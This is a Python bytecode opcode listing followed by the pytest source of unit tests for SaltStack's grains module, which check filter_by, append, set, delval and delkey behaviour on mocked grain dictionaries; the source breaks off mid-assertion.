RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l3' LOAD_CONST 'val3' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l3' LOAD_CONST 'val3' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_CONST 'l23' LOAD_CONST 'l23val' BUILD_MAP BUILD_LIST BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 140 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l1,l23' LOAD_CONST 'val' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_CONST 'l23' LOAD_CONST 'val' BUILD_MAP BUILD_LIST BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_CONST 'l23' LOAD_CONST 'val' BUILD_MAP BUILD_LIST BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_CONST 'l23' LOAD_CONST 'l23val' BUILD_MAP BUILD_LIST BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 160 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l1,l24,l241' LOAD_CONST 'val' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_CONST 'l23' LOAD_CONST 'l23val' BUILD_MAP LOAD_CONST 'l24' LOAD_CONST 'l241' LOAD_CONST 'val' BUILD_MAP BUILD_MAP BUILD_LIST BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_CONST 'l23' LOAD_CONST 'l23val' BUILD_MAP LOAD_CONST 'l24' LOAD_CONST 'l241' LOAD_CONST 'val' BUILD_MAP BUILD_MAP BUILD_LIST BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_GLOBAL OrderedDict LOAD_CONST ('a', 'aval') LOAD_CONST 'b' LOAD_GLOBAL OrderedDict LOAD_CONST ('z', 'zval') LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_GLOBAL OrderedDict LOAD_CONST ('l23', 'l23val') BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST CALL_FUNCTION BUILD_TUPLE LOAD_CONST ('c', 8) BUILD_LIST CALL_FUNCTION CALL_METHOD SETUP_WITH to 156 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD get LOAD_CONST 'b' CALL_METHOD STORE_FAST res LOAD_GLOBAL type LOAD_FAST res CALL_FUNCTION LOAD_GLOBAL OrderedDict COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_GLOBAL OrderedDict LOAD_CONST ('z', 'zval') LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_GLOBAL OrderedDict LOAD_CONST ('l23', 'l23val') BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_GLOBAL OrderedDict LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_GLOBAL OrderedDict LOAD_CONST ('l23', 'l23val') BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST ('z', 'zval') BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_GLOBAL OrderedDict LOAD_CONST ('a', 'aval') LOAD_CONST 'b' LOAD_GLOBAL OrderedDict LOAD_CONST ('z', 'zval') LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_GLOBAL OrderedDict LOAD_CONST ('l23', 'l23val') BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST CALL_FUNCTION BUILD_TUPLE LOAD_CONST ('c', 8) BUILD_LIST CALL_FUNCTION CALL_METHOD SETUP_WITH to 124 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR get LOAD_CONST 'b' LOAD_CONST False LOAD_CONST ('ordered',) CALL_FUNCTION STORE_FAST res LOAD_GLOBAL type LOAD_FAST res CALL_FUNCTION LOAD_GLOBAL dict COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_GLOBAL OrderedDict LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_GLOBAL OrderedDict LOAD_CONST ('l23', 'l23val') BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST ('z', 'zval') BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_GLOBAL OrderedDict LOAD_CONST ('a', 'aval') LOAD_CONST 'b' LOAD_GLOBAL OrderedDict LOAD_CONST ('z', 'zval') LOAD_CONST 'l1' LOAD_CONST 'l21' LOAD_CONST 'l22' LOAD_GLOBAL OrderedDict LOAD_CONST ('l23', 'l23val') BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST CALL_FUNCTION BUILD_TUPLE LOAD_CONST ('c', 8) BUILD_LIST CALL_FUNCTION CALL_METHOD SETUP_WITH to 134 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD equals LOAD_CONST 'a' LOAD_CONST 'aval' CALL_METHOD STORE_FAST res LOAD_GLOBAL type LOAD_FAST res CALL_FUNCTION LOAD_GLOBAL bool COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_METHOD equals LOAD_CONST 'b:z' LOAD_CONST 'zval' CALL_METHOD STORE_FAST res LOAD_FAST res POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_METHOD equals LOAD_CONST 'b:z' LOAD_CONST 'aval' CALL_METHOD STORE_FAST res LOAD_FAST res POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL grainsmod LOAD_METHOD setval LOAD_CONST 'test_grains_setval_refresh_pillar' LOAD_CONST 'saltopotamus' CALL_METHOD STORE_FAST ret LOAD_GLOBAL grainsmod LOAD_ATTR __salt__ LOAD_CONST 'saltutil.refresh_grains' BINARY_SUBSCR LOAD_ATTR assert_called_with LOAD_CONST True LOAD_CONST ('refresh_pillar',) CALL_FUNCTION POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR setval LOAD_CONST 'test_grains_setval_refresh_pillar' LOAD_CONST 'saltopotamus' LOAD_CONST True LOAD_CONST ('refresh_pillar',) CALL_FUNCTION STORE_FAST ret LOAD_GLOBAL grainsmod LOAD_ATTR __salt__ LOAD_CONST 'saltutil.refresh_grains' BINARY_SUBSCR LOAD_ATTR assert_called_with LOAD_CONST True LOAD_CONST ('refresh_pillar',) CALL_FUNCTION POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR setval LOAD_CONST 'test_grains_setval_refresh_pillar' LOAD_CONST 'saltopotamus' LOAD_CONST False LOAD_CONST ('refresh_pillar',) CALL_FUNCTION STORE_FAST ret LOAD_GLOBAL grainsmod LOAD_ATTR __salt__ LOAD_CONST 'saltutil.refresh_grains' BINARY_SUBSCR LOAD_ATTR assert_called_with LOAD_CONST False LOAD_CONST ('refresh_pillar',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '塩' STORE_FAST key LOAD_CONST '塩人生です' STORE_FAST value SETUP_LOOP to 68 LOAD_GLOBAL range LOAD_CONST 2 CALL_FUNCTION GET_ITER FOR_ITER to 66 STORE_FAST _ LOAD_GLOBAL grainsmod LOAD_METHOD setvals LOAD_FAST key LOAD_FAST value BUILD_MAP CALL_METHOD STORE_FAST ret LOAD_FAST key LOAD_FAST ret COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ret LOAD_FAST key BINARY_SUBSCR LOAD_FAST value COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 100 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD delval LOAD_CONST 'a' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'a' LOAD_CONST None BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST None LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 104 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD delval LOAD_CONST 'b:nested' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'nested' LOAD_CONST None BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST None BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 98 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD delkey LOAD_CONST 'a' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'a' LOAD_CONST None BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 96 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD delkey LOAD_CONST 'b:nested' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 120 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR delkey LOAD_CONST 'b' LOAD_CONST True LOAD_CONST ('force',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_METHOD find LOAD_CONST "Use 'force=True' to overwrite." CALL_METHOD LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST None BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE
import copy import os import pytest import salt.modules.grains as grainsmod import salt.utils.dictupdate as dictupdate from salt.exceptions import SaltException from salt.utils.odict import OrderedDict from tests.support.mock import MagicMock, patch from tests.support.runtests import RUNTIME_VARS @pytest.fixture def configure_loader_modules(): conf_file = os.path.join(RUNTIME_VARS.TMP, "__salt_test_grains") cachedir = os.path.join(RUNTIME_VARS.TMP, "__salt_test_grains_cache_dir") if not os.path.isdir(cachedir): os.makedirs(cachedir) return { grainsmod: { "__opts__": {"conf_file": conf_file, "cachedir": cachedir}, "__salt__": {"saltutil.refresh_grains": MagicMock()}, } } def test_filter_by(): with patch.dict( grainsmod.__grains__, {"os_family": "MockedOS", "1": "1", "2": "2", "roles": ["A", "B"]}, ): dict1 = {"A": "B", "C": {"D": {"E": "F", "G": "H"}}} dict2 = { "default": {"A": "B", "C": {"D": "E"}}, "1": {"A": "X"}, "2": {"C": {"D": "H"}}, "MockedOS": {"A": "Z"}, } mdict1 = {"D": {"E": "I"}, "J": "K"} mdict2 = {"A": "Z"} mdict3 = {"C": {"D": "J"}} res = grainsmod.filter_by(dict1, grain="xxx") assert res is None res = grainsmod.filter_by(dict1) assert res is None res = grainsmod.filter_by(dict1, grain="xxx", default="C") assert res == {"D": {"E": "F", "G": "H"}} res = grainsmod.filter_by(dict1, grain="xxx", merge=mdict1, default="C") assert res == {"D": {"E": "I", "G": "H"}, "J": "K"} dict1 = {"A": "B", "C": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1, grain="xxx", merge=mdict1, default="Z") assert res == mdict1 res = grainsmod.filter_by(dict1, grain="xxx", default="Z") assert res is None pytest.raises(SaltException, grainsmod.filter_by, dict1, "xxx", ["foo"], "C") res = grainsmod.filter_by(dict1) assert res is None res = grainsmod.filter_by(dict1, default="C") assert res == {"D": {"E": "F", "G": "H"}} res = grainsmod.filter_by(dict1, merge=mdict1, default="C") assert res == {"D": {"E": "I", "G": "H"}, "J": "K"} dict1 = {"A": "B", "C": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1, merge=mdict1, default="Z") assert res == mdict1 res = grainsmod.filter_by(dict1, default="Z") assert res is None pytest.raises(TypeError, grainsmod.filter_by, dict1, merge=mdict1, default="A") dict1 = {"A": "B", "MockedOS": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1) assert res == {"D": {"E": "F", "G": "H"}} res = grainsmod.filter_by(dict1, default="A") assert res == {"D": {"E": "F", "G": "H"}} res = grainsmod.filter_by(dict1, merge=mdict1, default="A") assert res == {"D": {"E": "I", "G": "H"}, "J": "K"} dict1 = {"A": "B", "MockedOS": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1, merge=mdict1, default="Z") assert res == {"D": {"E": "I", "G": "H"}, "J": "K"} dict1 = {"A": "B", "MockedOS": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1, default="Z") assert res == {"D": {"E": "F", "G": "H"}} dict1 = {"A": "B", "C": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1, grain="roles", default="C") assert res == "B" dict1 = {"Z": "B", "C": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1, grain="roles", default="C") assert res == {"D": {"E": "F", "G": "H"}} dict1 = {"*OS": "B", "C": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1) assert res == "B" dict1 = {1: 2, 3: {4: 5}, "*OS": "B"} res = grainsmod.filter_by(dict1) assert res == "B" dict1 = {"Z": "B", "[BC]": {"D": {"E": "F", "G": "H"}}} res = grainsmod.filter_by(dict1, grain="roles", default="Z") assert res == {"D": {"E": "F", "G": "H"}} res = grainsmod.filter_by(dict2, grain="xxx", default="xxx", base="default") assert res == dict2["default"] res = grainsmod.filter_by(dict2, default="xxx", base="default") assert res == dictupdate.update( copy.deepcopy(dict2["default"]), dict2["MockedOS"] ) res = grainsmod.filter_by(dict2, grain="xxx", base="default") assert res == dict2["default"] res = grainsmod.filter_by(dict2, grain="1", base="default") assert res == dictupdate.update(copy.deepcopy(dict2["default"]), dict2["1"]) res = grainsmod.filter_by(dict2, base="default", merge=mdict2) assert res == dictupdate.update( dictupdate.update(copy.deepcopy(dict2["default"]), dict2["MockedOS"]), mdict2, ) res = grainsmod.filter_by(dict2, base="default", merge=mdict3) assert res == dictupdate.update( dictupdate.update(copy.deepcopy(dict2["default"]), dict2["MockedOS"]), mdict3, ) def test_append_not_a_list(): with patch.dict(grainsmod.__grains__, {"b": "bval"}): res = grainsmod.append("b", "d") assert res == "The key b is not a valid list" assert grainsmod.__grains__ == {"b": "bval"} with patch.dict(grainsmod.__grains__, {"b": {"b1": "bval1"}}): res = grainsmod.append("b", "d") assert res == "The key b is not a valid list" assert grainsmod.__grains__ == {"b": {"b1": "bval1"}} def test_append_already_in_list(): with patch.dict(grainsmod.__grains__, {"a_list": ["a", "b", "c"], "b": "bval"}): res = grainsmod.append("a_list", "b") assert res == "The val b was already in the list a_list" assert grainsmod.__grains__ == {"a_list": ["a", "b", "c"], "b": "bval"} def test_append_ok(): with patch.dict(grainsmod.__grains__, {"a_list": ["a", "b", "c"], "b": "bval"}): res = grainsmod.append("a_list", "d") assert res == {"a_list": ["a", "b", "c", "d"]} assert grainsmod.__grains__ == {"a_list": ["a", "b", "c", "d"], "b": "bval"} with patch.dict(grainsmod.__grains__, {"b": "bval"}): res = grainsmod.append("a_list", "d") assert res == {"a_list": ["d"]} assert grainsmod.__grains__ == {"a_list": ["d"], "b": "bval"} with patch.dict(grainsmod.__grains__, {"b": "bval"}): res = grainsmod.append("b", "d", convert=True) assert res == {"b": ["bval", "d"]} assert grainsmod.__grains__ == {"b": ["bval", "d"]} with patch.dict(grainsmod.__grains__, {"b": {"b1": "bval1"}}): res = grainsmod.append("b", "d", convert=True) assert res == {"b": [{"b1": "bval1"}, "d"]} assert grainsmod.__grains__ == {"b": [{"b1": "bval1"}, "d"]} def test_append_nested_not_a_list(): with patch.dict(grainsmod.__grains__, {"a": {"b": "bval"}}): res = grainsmod.append("a:b", "d") assert res == "The key a:b is not a valid list" assert grainsmod.__grains__ == {"a": {"b": "bval"}} with patch.dict(grainsmod.__grains__, {"a": {"b": {"b1": "bval1"}}}): res = grainsmod.append("a:b", "d") assert res == "The key a:b is not a valid list" assert grainsmod.__grains__ == {"a": {"b": {"b1": "bval1"}}} def test_append_nested_already_in_list(): with patch.dict( grainsmod.__grains__, {"a": {"a_list": ["a", "b", "c"], "b": "bval"}} ): res = grainsmod.append("a:a_list", "b") assert res == "The val b was already in the list a:a_list" assert grainsmod.__grains__ == {"a": {"a_list": ["a", "b", "c"], "b": "bval"}} def test_append_nested_ok(): with patch.dict( grainsmod.__grains__, {"a": {"a_list": ["a", "b", "c"], "b": "bval"}} ): res = grainsmod.append("a:a_list", "d") assert res == {"a": {"a_list": ["a", "b", "c", "d"], "b": "bval"}} assert grainsmod.__grains__ == { "a": {"a_list": ["a", "b", "c", "d"], "b": "bval"} } with patch.dict(grainsmod.__grains__, {"a": {"b": "bval"}}): res = grainsmod.append("a:a_list", "d") assert res == {"a": {"a_list": ["d"], "b": "bval"}} assert grainsmod.__grains__ == {"a": {"a_list": ["d"], "b": "bval"}} with patch.dict(grainsmod.__grains__, {"a": {"b": "bval"}}): res = grainsmod.append("a:b", "d", convert=True) assert res == {"a": {"b": ["bval", "d"]}} assert grainsmod.__grains__ == {"a": {"b": ["bval", "d"]}} with patch.dict(grainsmod.__grains__, {"a": {"b": {"b1": "bval1"}}}): res = grainsmod.append("a:b", "d", convert=True) assert res == {"a": {"b": [{"b1": "bval1"}, "d"]}} assert grainsmod.__grains__ == {"a": {"b": [{"b1": "bval1"}, "d"]}} def test_append_to_an_element_of_a_list(): with patch.dict(grainsmod.__grains__, {"a": ["b", "c"]}): res = grainsmod.append("a:b", "d") assert res == {"a": ["b", "c"]} assert grainsmod.__grains__ == {"a": ["b", "c"]} def test_set_value_already_set(): with patch.dict(grainsmod.__grains__, {"a": 12, "c": 8}): res = grainsmod.set("a", 12) assert res["result"] assert res["comment"] == "Grain is already set" assert grainsmod.__grains__ == {"a": 12, "c": 8} with patch.dict(grainsmod.__grains__, {"a": ["item", 12], "c": 8}): res = grainsmod.set("a", ["item", 12]) assert res["result"] assert res["comment"] == "Grain is already set" assert grainsmod.__grains__ == {"a": ["item", 12], "c": 8} with patch.dict( grainsmod.__grains__, {"a": "aval", "b": {"nested": "val"}, "c": 8} ): res = grainsmod.set("b,nested", "val", delimiter=",") assert res["result"] assert res["comment"] == "Grain is already set" assert grainsmod.__grains__ == {"a": "aval", "b": {"nested": "val"}, "c": 8} def test_set_fail_replacing_existing_complex_key(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("a", ["item", 12]) assert not res["result"] assert ( res["comment"] == "The key 'a' exists and the given value is a " "dict or a list. Use 'force=True' to overwrite." ) assert grainsmod.__grains__ == {"a": "aval", "c": 8} with patch.dict(grainsmod.__grains__, {"a": ["item", 12], "c": 8}): res = grainsmod.set("a", ["item", 14]) assert not res["result"] assert ( res["comment"] == "The key 'a' exists but is a dict or a list. " "Use 'force=True' to overwrite." ) assert grainsmod.__grains__ == {"a": ["item", 12], "c": 8} with patch.dict( grainsmod.__grains__, {"a": "aval", "b": ["l1", {"l2": ["val1"]}], "c": 8} ): res = grainsmod.set("b,l2", "val2", delimiter=",") assert not res["result"] assert ( res["comment"] == "The key 'b,l2' exists but is a dict or a " "list. Use 'force=True' to overwrite." ) assert grainsmod.__grains__ == { "a": "aval", "b": ["l1", {"l2": ["val1"]}], "c": 8, } def test_set_nested_fails_replace_simple_value(): with patch.dict(grainsmod.__grains__, {"a": "aval", "b": "l1", "c": 8}): res = grainsmod.set("b,l3", "val3", delimiter=",") assert not res["result"] assert ( res["comment"] == "The key 'b' value is 'l1', which is different from " "the provided key 'l3'. Use 'force=True' to overwrite." ) assert grainsmod.__grains__ == {"a": "aval", "b": "l1", "c": 8} def test_set_simple_value(): with patch.dict(grainsmod.__grains__, {"a": ["b", "c"], "c": 8}): res = grainsmod.set("b", "bval") assert res["result"] assert res["changes"] == {"b": "bval"} assert grainsmod.__grains__ == {"a": ["b", "c"], "b": "bval", "c": 8} def test_set_replace_value(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("a", 12) assert res["result"] assert res["changes"] == {"a": 12} assert grainsmod.__grains__ == {"a": 12, "c": 8} def test_set_None_ok(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("b", None) assert res["result"] assert res["changes"] == {"b": None} assert grainsmod.__grains__ == {"a": "aval", "b": None, "c": 8} def test_set_None_ok_destructive(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("b", None, destructive=True) assert res["result"] assert res["changes"] == {"b": None} assert grainsmod.__grains__ == {"a": "aval", "c": 8} def test_set_None_replace_ok(): with patch.dict(grainsmod.__grains__, {"a": "aval", "c": 8}): res = grainsmod.set("a", None) assert res["result"] assert res["changes"] == {"a": None} assert 